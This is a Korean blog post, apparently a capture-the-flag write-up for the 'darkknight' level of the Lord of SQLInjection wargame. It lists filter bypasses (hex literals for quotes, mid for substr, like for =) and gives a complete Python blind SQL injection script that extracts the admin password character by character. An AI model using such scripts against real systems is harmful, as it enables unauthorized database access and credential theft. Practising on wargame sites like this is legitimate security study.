이번에는 대놓고 no를 통해 침투해달라고 코드에 나와있다.
이번에는 다음과 같이 치환하였다.
필터링되는 단어 | 치환 |
작은 따옴표(') | 0x로 시작하는 Hex값 |
substr | mid |
ascii | 사용 안함 |
= | like |
위 치환 테이블을 코드에 적용하였다.
더보기
import requests
import binascii
URL = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
Sess = {'PHPSESSID': '9i2l22igeud2lesoff2tvo7q91'}
ConfirmKey = "Hello admin"
Dict = '0123456789qwertyuiopasdfghjklzxcvbnm'
length = 0
password = ""
def sendReq(payload):
return requests.get(URL, cookies=Sess, params=payload)
print("[*] Started")
print("[*] Calculating length of password")
while True:
if ConfirmKey in sendReq({"no": "2 || id like 0x61646d696e && length(pw) like " + str(length)}).text:
print("[+] Found length : " + str(length))
break
else:
print("[!] Tried : " + str(length))
length+=1
print("[*] Looking for password")
while True:
for Current in Dict:
if ConfirmKey in sendReq({'no': "2 || id like 0x61646d696e && mid(pw," + str(len(password) + 1) + ",1) like \"" + str(Current) + "\""}).text:
password+= Current
print("[+] Found password of state " + str(len(password)) + " : " + str(Current))
print("[" + str(len(password)) + "/" + str(length) + "] Current State : " + password)
if len(password) == length:
break
else:
print("[!] Tried : " + str(Current))
if len(password) == length:
break
else:
print("[>] One loop done [" + str(len(password)) + " , " + password + "]")
print("[*] Job Done!")
그리고 비밀번호가 나왔다.
이 비밀번호를 pw값으로 넘겨주니 문제가 풀렸다.
p.s. mid함수를 잘 몰라서 배우는데 애좀 먹은것 같다 ㅠㅠ
'보안공부 > Lord of SQLInjection 풀이' 카테고리의 다른 글
Lord of SQLInjection Skeleton 풀이 (0) | 2024.10.15 |
---|---|
Lord of SQLInjection Golem 풀이 (0) | 2024.10.15 |
Lord of SQLInjection BUGBEAR 풀이 (0) | 2024.10.15 |
Lord of SQLInjection Giant 풀이 (0) | 2024.10.15 |
Lord of SQLInjection Assasin 풀이 (0) | 2024.10.15 |